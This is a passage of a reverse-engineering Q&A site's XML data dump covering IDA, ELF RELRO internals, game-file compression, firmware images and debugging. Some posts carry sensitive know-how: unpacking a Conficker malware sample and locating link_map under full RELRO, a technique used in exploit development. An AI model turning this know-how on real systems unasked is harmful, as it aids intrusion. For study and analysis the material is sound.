OwnerUserId="207" LastActivityDate="2014-10-26T12:49:39.357" Title="Is it possible to force IDA to acknowledge unusual frame pointer deltas?" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6523" PostTypeId="2" ParentId="6521" CreationDate="2014-10-23T04:48:45.440" Score="4" Body="&lt;p&gt;&lt;code&gt;Alt+P&lt;/code&gt; will bring up the &lt;code&gt;Edit function&lt;/code&gt; screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure &lt;code&gt;BP based frame&lt;/code&gt; is checked, and enter your value &lt;code&gt;0x5F&lt;/code&gt; into the box marked &lt;code&gt;Frame pointer delta&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="264" LastEditorUserId="1449" LastEditDate="2014-10-26T12:49:39.357" LastActivityDate="2014-10-26T12:49:39.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6524" PostTypeId="2" ParentId="6517" CreationDate="2014-10-23T08:33:24.847" Score="0" Body="&lt;p&gt;On Windows you may use &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff549557(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;GFlags&lt;/a&gt; that is distributed with Windbg. It allows you to detect heap corruption early but also can be useful in detecting other class of errors. Simple example can be found &lt;a href=&quot;http://reversingonwindows.blogspot.sg/2012/03/one-byte-heap-overflow.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.exodusintel.com/2013/11/26/browser-weakest-byte/&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; is a real-life example to use GFlags.&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="210" LastEditDate="2014-10-23T08:39:03.797" LastActivityDate="2014-10-23T08:39:03.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6525" PostTypeId="1" AcceptedAnswerId="6526" CreationDate="2014-10-23T09:29:57.687" Score="3" ViewCount="3681" Body="&lt;p&gt;When linking a binary with &lt;code&gt;-Wl,-z,relro,-z,now&lt;/code&gt;, all relocations are performed at start-up before passing control to the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this, there is no need for the &lt;code&gt;.got.plt&lt;/code&gt; segment.  Normally, a pointer to the linker's &lt;code&gt;link_map&lt;/code&gt; structure is stored in this segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When compiled with full RELRO, where, if anywhere, can a copy of the &lt;code&gt;link_map&lt;/code&gt; be obtained without consulting other loaded libraries, or &lt;code&gt;libdl&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The place one would expect it to be -- in the segment marked with the tag &lt;code&gt;DT_PLTGOT&lt;/code&gt; -- it does not appear.  Instead, there's just a link back to Program Header of type &lt;code&gt;PT_DYNAMIC&lt;/code&gt;.  The slot in the segment marked &lt;code&gt;DT_GOTPLT&lt;/code&gt; starts with the offset of the &lt;code&gt;DYNAMIC&lt;/code&gt; section, and does not contain any pointers to the link map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Headers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -a amd64-pwntest-relro | egrep -i '(_dynamic|pltgot)'&#xA; 0x0000000000000003 (PLTGOT)             0x202eb8&#xA;    48: 0000000000202ca8     0 OBJECT  LOCAL  DEFAULT   21 _DYNAMIC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Binary is RELRO&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ checksec.sh --file amd64-relro&#xA;RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE&#xA;Full RELRO      No canary found   NX disabled   PIE enabled     No RPATH   No RUNPATH   amd64-relro&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;GDB shows that the data at the specified offset, at runtime, does not contain a link map pointer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb ./amd64-relro&#xA;gdb-peda$ start&#xA;gdb-peda$ vmmap relro&#xA;Start              End                Perm      Name&#xA;0x0000555555554000 0x0000555555556000 r-xp      /home/user/pwntools-regression/src/amd64-relro&#xA;0x0000555555756000 0x0000555555757000 r-xp      /home/user/pwntools-regression/src/amd64-relro&#xA;0x0000555555757000 0x0000555555758000 rwxp      /home/user/pwntools-regression/src/amd64-relro&#xA;gdb-peda$ telescope 0x0000555555554000+0x202eb8 5&#xA;00:0000|  0x555555756eb8 --&amp;gt; 0x202ca8 &#xA;01:0008|  0x555555756ec0 --&amp;gt; 0x0 &#xA;02:0016|  0x555555756ec8 --&amp;gt; 0x0 &#xA;03:0024|  0x555555756ed0 --&amp;gt; 0x7ffff7675870 (&amp;lt;__GI___libc_free&amp;gt;:        mov    rax,QWORD PTR [rip+0x33b671]        # 0x7ffff79b0ee8)&#xA;04:0032|  0x555555756ed8 --&amp;gt; 0x7ffff79c0430 (&amp;lt;__pthread_create_2_1&amp;gt;:    push   rbp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="264" LastEditorUserId="264" LastEditDate="2014-11-20T08:48:24.137" LastActivityDate="2014-11-20T08:48:24.137" Title="ELF link_map when linked as RELRO" Tags="|linux|elf|got|plt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6526" PostTypeId="2" ParentId="6525" CreationDate="2014-10-23T10:24:20.077" Score="4" Body="&lt;p&gt;If the binary has a &lt;code&gt;DT_DEBUG&lt;/code&gt; entry in the &lt;code&gt;PT_DYNAMIC&lt;/code&gt; area, it will be filled with a pointer to the &lt;code&gt;r_debug&lt;/code&gt; symbol in the dynamic linker.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test:00007F17ED7DDDB0 Elf64_Dyn &amp;lt;DT_SYMENT, 18h&amp;gt;&#xA;test:00007F17ED7DDDB0 Elf64_Dyn &amp;lt;DT_DEBUG, offset _r_debug&amp;gt;&#xA;test:00007F17ED7DDDB0 Elf64_Dyn &amp;lt;DT_PLTGOT, offset _GLOBAL_OFFSET_TABLE_&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second field in &lt;code&gt;r_debug&lt;/code&gt; is the pointer to &lt;code&gt;link_map&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;debug001:00007F17ED5DC1A0 _r_debug dd 1                                    ; r_version&#xA;debug001:00007F17ED5DC1A0 db 0, 0, 0, 0&#xA;debug001:00007F17ED5DC1A0 dq offset _link_map_head                ; r_map&#xA;debug001:00007F17ED5DC1A0 dq offset _dl_debug_state               ; r_brk&#xA;debug001:00007F17ED5DC1A0 dd RT_ADD                               ; r_state&#xA;debug001:00007F17ED5DC1A0 db 0, 0, 0, 0&#xA;debug001:00007F17ED5DC1A0 dq 7F17ED3B8000h                        ; r_ldbase&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-10-23T10:24:20.077" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6527" PostTypeId="1" CreationDate="2014-10-23T10:43:56.743" Score="2" ViewCount="1353" Body="&lt;p&gt;I got some game compression data which I couldn't find any clue.&#xA;All compressed file signature start with: [&lt;em&gt;SK_ASC&lt;/em&gt;] and unknown compression method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got some information from RAM/Executive file but still didn't work.&#xA;I think the compression is the lossless format (But it's not a LZO nor ZLIB).&#xA;Can anyone help me figure out the compression, and how to decompress?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All of example file above can be found here: &lt;strong&gt;&lt;a href=&quot;http://goo.gl/JJQfl4&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/JJQfl4&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;=== 10.25.14 ADDED ===&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list below compression method that I tested, but doesn't match:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;LZ10&lt;/li&gt;&#xA;&lt;li&gt;LZ11&lt;/li&gt;&#xA;&lt;li&gt;LZ77&lt;/li&gt;&#xA;&lt;li&gt;LZO1x-1&lt;/li&gt;&#xA;&lt;li&gt;LZO1x-999&lt;/li&gt;&#xA;&lt;li&gt;LZSS&lt;/li&gt;&#xA;&lt;li&gt;LZW&lt;/li&gt;&#xA;&lt;li&gt;LZMA&lt;/li&gt;&#xA;&lt;li&gt;HUFF blocksize 4 &amp;amp; 8 byte&lt;/li&gt;&#xA;&lt;li&gt;RLE&lt;/li&gt;&#xA;&lt;li&gt;ZLIB&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;=== 10.26.14 ADDED ===&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I analysis something via memory dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, compressed &lt;code&gt;EMnMenu.cmp&lt;/code&gt; file could be loaded when I enter the main menu by guessing it's file name. and there are very similar files which is unused. (&lt;code&gt;EKisokMenu.cmp&lt;/code&gt;, &lt;code&gt;EE3Menu.cmp&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I try to check memory dump by replacing file each other. and I got &lt;code&gt;dump_menu.ram&lt;/code&gt;, &lt;code&gt;dump_e3menu.ram&lt;/code&gt;, &lt;code&gt;dump_kioskmenu.ram&lt;/code&gt;. By comparing three different ram dump data, &lt;br/&gt;I found out only specific offset data is changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using this method, I finally got a decompression data dumped via offset: &lt;strong&gt;0x80CA6980&lt;/strong&gt;. Decompressed data is well known texture which was first 4 byte signature  start with 0x00 0x20 0xAF 0x30. (check texture format here: &lt;em&gt;&lt;a href=&quot;http://goo.gl/UqLz3m&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/UqLz3m&lt;/a&gt;&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to find compression algorithm by compressing the decompression data and compare with original data. but non of algorithm that I test above doesn't match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I uploaded several decompressed data via ram dump and compressed data so you can check here: &lt;strong&gt;goo.gl/JJQfl4&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;CMP&lt;/strong&gt; is a compressed data which always start with &lt;em&gt;SK_ASC&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;BIN&lt;/strong&gt; is a same as CMP.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;DCMP&lt;/strong&gt; is a instant copy from memory file, which was extracted from offset 0x80CA6980.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;DMP&lt;/strong&gt; is a data value correction by subtracted 0x80CA6980 because there so many memory scrapping dummy (so this is the cleaned decompressed data if I guess right)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ADDED&lt;/strong&gt; Didn't work with regular deflate/zlib all compress level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;== 11.09.14 ==&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I posted several forum to help, but no clue for weeks :(&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://zenhax.com/viewtopic.php?f=9&amp;amp;t=313&amp;amp;sid=3172c154c5da95476795ac742501fec1&quot; rel=&quot;nofollow&quot;&gt;http://zenhax.com/viewtopic.php?f=9&amp;amp;t=313&amp;amp;sid=3172c154c5da95476795ac742501fec1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://encode.ru/threads/2074-Identifying-compression-method?p=41188&amp;amp;posted=1#post41188&quot; rel=&quot;nofollow&quot;&gt;http://encode.ru/threads/2074-Identifying-compression-method?p=41188&amp;amp;posted=1#post41188&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;== 11.15.14 ==&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other forum user said to me there are Gamecube DOL (executive file) plugin for IDA.&#xA;So I use them and now I've found decompression main/algorithm subroutine.&#xA;Would anyone help me find out describe how it works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm not well in dis-assembly, So I'm learning now)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://goo.gl/2bQNfj&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/2bQNfj&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Power PC based Dis-Assembly skill Required&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9857" LastEditorUserId="12021" LastEditDate="2015-10-06T04:53:00.393" LastActivityDate="2016-05-11T02:45:39.843" Title="Unknown game data compression method (Gamecube)" Tags="|file-format|decompress|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="6530" PostTypeId="1" CreationDate="2014-10-23T21:55:50.233" Score="0" ViewCount="572" Body="&lt;p&gt;I have the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [esp+var], ebp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and want to change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [esp+var], ebp+20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To my understanding, Edit&gt;Patch Program&gt;Change Byte, is what should be used.. but I know very little on to what to change the hex values to to make the above change. &#xA;Is there anywhere I can read up or does someone have a simple explanation? It seems like something that would be relatively simple to do if known how.&lt;/p&gt;&#xA;" OwnerUserId="9861" LastActivityDate="2014-10-24T09:30:18.317" Title="Help editing assembly with IDA" Tags="|ida|binary|" AnswerCount="1" CommentCount="2" ClosedDate="2014-10-24T11:39:04.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="6531" PostTypeId="2" ParentId="6530" CreationDate="2014-10-24T09:30:18.317" Score="0" Body="&lt;p&gt;I'm not sure you are able to use &lt;strong&gt;mov&lt;/strong&gt; instruction from &lt;strong&gt;mem arg&lt;/strong&gt; to &lt;strong&gt;mem arg&lt;/strong&gt;, see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_176.html&quot; rel=&quot;nofollow&quot;&gt;x86 MOV Instruction Set Reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess should save ebp+20 to reg, then load it to mem via mov.&lt;/p&gt;&#xA;" OwnerUserId="3209" LastActivityDate="2014-10-24T09:30:18.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6533" PostTypeId="2" ParentId="3974" CreationDate="2014-10-24T18:50:44.420" Score="2" Body="&lt;p&gt;This could happen if your breakpoint address is in the &quot;middle&quot; of the opcode, for example if your asm code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x000C: BLX   R3&#xA;0x000E: LDR   R0, [R6]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you put breakpoint on address 0x00D, in this case the process will get SIGTRAP on other address than 0x000D, but gdb only knows the 0x00D address from the user input so its just throw SIGTRAP and get stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also even when you write the right address to gdb, the arm fallback mode of gdb can cause this kind of problems. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set arm fallback-mode (arm|thumb|auto)&#xA;GDB uses the symbol table, when available, to determine whether instructions are ARM or Thumb. This command controls GDB’s default behavior when the symbol table is not available. The default is ‘auto’, which causes GDB to use the current execution mode (from the T bit in the CPSR register).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some times gdb cant get the arm mode of a function automatically, and it falling to the wrong mode. You can check this by disassemble piece of code in gdb and check if you see normal assembly or some bad one. if its bad one then your arm assembly mode is wrong, and you can get false SIGTRAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another advice is not to use gdb in iOS, use lldb. gdb is depreciated, and the only gdb versions available to iOS are ports thats individual people wrote, those ports lack in features (for example some of them don't have the fallback feature at all), and are unreliable.  &lt;/p&gt;&#xA;" OwnerUserId="9758" LastActivityDate="2014-10-24T18:50:44.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6534" PostTypeId="1" CreationDate="2014-10-24T20:12:42.603" Score="1" ViewCount="3099" Body="&lt;p&gt;I have a dll file which I want to analyze/debug. To do that, I use ollydbg. But when I open the file with ollydbg then the following message appears :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    File 'C:\..........\Conficker.exe' is a Dynamic Link Library. Windows can't&#xA;    execute DLLs directly. Launch LOADDL.EXE ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(notice: as you can see, the mentioned dll file is a sample of Conficker)&#xA;In a analysis paper about Conficker, they wrote the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    After unpacking, we find that the UPX packed binary file is not the original code&#xA;    but incorporates an additional layer of packing. We use IDA Pro to remove this &#xA;    second layer of obfuscation and dump the original code from memory. &#xA;    To do so, we first run the Conficker service, snapshot the core Conficker library&#xA;    as a memory image, and from this code segment reconstruct a complete Windows&#xA;    executable program. The program requires a PE-header template, &#xA;    and we compute an entry point that allows the program to enter Conficker's code &#xA;    segment. &#xA;    (source : http://mtc.sri.com/Conficker/)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Honestly, although I want to learn all that things, I didn't understand what they try to explain or how one can reach that. The only thing what I understand, that they somehow turn the dll into a &quot;complete Windows executable program&quot;. &#xA;So, I search in the inet and I found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   We all have our own methods for debugging DLLs, and my personal choice is to modify &#xA;   the DLL bit flag to turn it into an EXE to the eyes of the debugger &#xA;   Among other PE editors, CFF Explorer from ntcore is a tool that allows to do that.&#xA;   (source: http://blog.fortinet.com/post/the-art-of-unpacking-conficker-worm)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I have downloaded CFF Explorer but I dont know how to &quot;modify the DLL bit flag to turn it into an EXE.&quot; Although I search in the inet for that I couldnt find anything about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-10-24T20:12:42.603" Title="How to turn a .dll file into a .exe file for ollydbg?" Tags="|dll|exe|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6535" PostTypeId="1" AcceptedAnswerId="6536" CreationDate="2014-10-25T04:12:41.133" Score="1" ViewCount="188" Body="&lt;p&gt;Hopefully I can find someone who can help me with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have become fascinated with electronic cigarettes and one of the more popular regulated chips for sale tout's its ability to change logos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chip is the YiHi E-Cigcar.&#xA;The firmware for the chip can be found &lt;a href=&quot;http://www.yihiecigar.com/download_info/Upgrade-Software-for-SX350-50w-ONLY_OldBoot_YH_Logo_60W_20140813-Screen-flip_V2-4-d59228.html&quot; rel=&quot;nofollow&quot;&gt;http://www.yihiecigar.com/download_info/Upgrade-Software-for-SX350-50w-ONLY_OldBoot_YH_Logo_60W_20140813-Screen-flip_V2-4-d59228.html&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded a YouTube publisher's software the &quot;changes&quot; the logo, however, after decompiling his .NET application, I'm not convinced this wouldn't brick my chip.&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=kTy0AKTYzrg&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=kTy0AKTYzrg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written an application that reads the entire string in as hex, and converts to binary (assuming the firmware was unencrypted, and I could find an index of part of the image I'm looking for), but no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not convinced that this firmware isn't packed in some way, but I haven't the slightest idea on how to go about finding it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could give some advice or has any idea on how to unpack / search for the logo's another way this would be fantastic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not that this is a need, it keeps me up at night because, I'm just one of those people who can't leave a problem unsolved... probably like a lot of you reading this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone who's up for the challenge it would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9867" LastActivityDate="2014-10-25T11:44:49.597" Title="Monochrome image replacement within firmware" Tags="|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6536" PostTypeId="2" ParentId="6535" CreationDate="2014-10-25T11:44:49.597" Score="1" Body="&lt;p&gt;Compile this program (rename your file to out1.SXI, or change the file name in the program):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(int argc, char **argv) {&#xA;    char buf[256];&#xA;    int i, j;&#xA;    FILE *fp;&#xA;    int pos=0;              // file position&#xA;    int bpr=0;              // bits / bytes per row&#xA;    int blockno=0;          // 6 blocks * 8 bits = 48 rows&#xA;    if (argc&amp;gt;=2)&#xA;            bpr=atoi(argv[1]);&#xA;    if (bpr==0)&#xA;            bpr=64;&#xA;    if (argc&amp;gt;=3) {&#xA;            pos=strtol(argv[2], NULL, 0);&#xA;    }&#xA;&#xA;    if ((fp=fopen(&quot;out1.SXI&quot;, &quot;rb&quot;))==NULL) {&#xA;            perror(&quot;out1.SXI&quot;);&#xA;            exit(1);&#xA;    }&#xA;    fseek(fp, pos, 0);&#xA;    while(fread(buf, bpr, 1, fp)) {&#xA;            if (blockno++%6==0)&#xA;                    printf(&quot;%06x\n&quot;, pos);&#xA;            for (j=128; j&amp;gt;0; j&amp;gt;&amp;gt;=1) {&#xA;                    for (i=0; i&amp;lt;bpr; i++) {&#xA;                            if (buf[i]&amp;amp;j)&#xA;                                    putchar('X');&#xA;                            else&#xA;                                    putchar(' ');&#xA;                    }&#xA;                    putchar('|');&#xA;                    putchar('\n');&#xA;            }&#xA;            pos+=bpr;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then run it as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ xdump 64 0x83D4 | less&#xA;$ xdump 64 0x10FC8 | less &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure these are images, though i can't make sense of them; but maybe you can if you compare them to what the device shows if you flash the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this assumes the display has a 64x48 pixel resolution like the one in the movie; you might want to take a picture through a magnifying glass to check they haven't changed the resolution. Although 64x48 is what my program assumes as well when it generates these images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the file you get when you unpack the .rar seems to be much larger than the file in the movie, if the offsets shown are byte offsets. Possibly, the firmware consists of two part, one factory part (which is the firmware you can download) and a OEM/vendor part that has the images (which you can't download, but which is used in the movie), with the firmware upgrader deciding which one to overwrite depending on the file format/contents.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-10-25T11:44:49.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6538" PostTypeId="2" ParentId="6510" CreationDate="2014-10-26T23:16:32.317" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Ollydbg talks about compressed/packed data although I have unpacked it. So, how that can be?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ollydbg is wrong and flat out doesn't work for a lot of things! Messages it gives should be taken with a grain of salt. It's likely that when you unpacked the binary you provided a bad entry point or included the junk encrypted data with it that is no longer used.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Because I dont know how to change the EIP&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Right click EIP in the register portion of Olly's CPU window.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I try it with exception passing&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;EIP is the &lt;strong&gt;instruction pointer&lt;/strong&gt;, if it is trying to execute the memory at address 0, your program will definitely fail to run correctly. It's likely you set the entry point when unpacking to be zero, which is absolutely wrong. If the program has no exception handler defined, and you pass the exception, it'll just bubble up to windows and cause a crash(&quot;close this program/debug&quot; dialog).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great alternative that'd rule out any ollydbg issues you're having: http//x64dbg.com&lt;/p&gt;&#xA;" OwnerUserId="1548" LastEditorUserId="1548" LastEditDate="2014-10-27T00:01:21.183" LastActivityDate="2014-10-27T00:01:21.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6539" PostTypeId="1" CreationDate="2014-10-27T20:55:02.423" Score="1" ViewCount="402" Body="&lt;p&gt;I used &lt;strong&gt;binwalk&lt;/strong&gt; to extract &lt;code&gt;firmware.bin&lt;/code&gt; image, the extracted content is &lt;code&gt;squashfs-root&lt;/code&gt; dir, and a separate &lt;code&gt;dpc.squashfs&lt;/code&gt; file. Then I used &lt;strong&gt;&lt;a href=&quot;https://github.com/devttys0/sasquatch&quot; rel=&quot;nofollow&quot;&gt;sasquatch&lt;/a&gt;&lt;/strong&gt; utility to extract content of dpc.squashfs file, and I got the same &lt;code&gt;squashfs-root&lt;/code&gt; directory. I compared content of both &lt;code&gt;squashfs-root&lt;/code&gt; directories and find, that the squashfs-root dir extracted with binwalk have &lt;code&gt;www&lt;/code&gt; and &lt;code&gt;www_safe&lt;/code&gt; folders, whereas in squashfs-root dir extracted with &lt;code&gt;sasquatch&lt;/code&gt; that folders are missing. Why the extracted content differs?&lt;/p&gt;&#xA;" OwnerUserId="39817" LastEditorUserId="39817" LastEditDate="2014-10-28T12:42:07.633" LastActivityDate="2014-10-28T12:42:07.633" Title="Why the extracted content differs?" Tags="|binary-analysis|decompilation|linux|firmware|unpacking|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6540" PostTypeId="1" AcceptedAnswerId="6541" CreationDate="2014-10-29T12:43:23.033" Score="6" ViewCount="9301" Body="&lt;p&gt;When trying to write an instruction set analysis tool for disassembled code (&lt;a href=&quot;https://superuser.com/a/832440/384221&quot;&gt;https://superuser.com/a/832440/384221&lt;/a&gt;) I have found opcode MOVABS which was not included in my opcode source database (Shirk's &lt;code&gt;gas.vim&lt;/code&gt; file) and I am not sure in which architecture it has been introduced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/2627/9891&quot;&gt;What is the meaning of movabs in gas/x86 AT&amp;amp;T syntax?&lt;/a&gt; and other sources it seems that the instruction has been introduced before 64-bit architectures. But was it with i686 or earlier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="9891" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2015-05-25T14:17:35.040" Title="When was the MOVABS instruction introduced?" Tags="|x86|amd64|gas|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6541" PostTypeId="2" ParentId="6540" CreationDate="2014-10-29T13:17:31.920" Score="4" Body="&lt;p&gt;&lt;code&gt;movabs&lt;/code&gt; is just a GAS-specific way to enforce encoding a 64-bit memory offset or immediate. It's still the same standard &lt;a href=&quot;http://www.felixcloutier.com/x86/MOV.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;MOV&lt;/code&gt; opcode&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where you got the notion that it was introduced before x64, it's obviously not correct. For example, the &lt;a href=&quot;http://docs.oracle.com/cd/E36784_01/html/E36859/eoizm.html#scrolltoc&quot; rel=&quot;nofollow&quot;&gt;Solaris x86 manual&lt;/a&gt; mentions: &quot;movabs valid only under –m64&quot;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-10-29T13:17:31.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
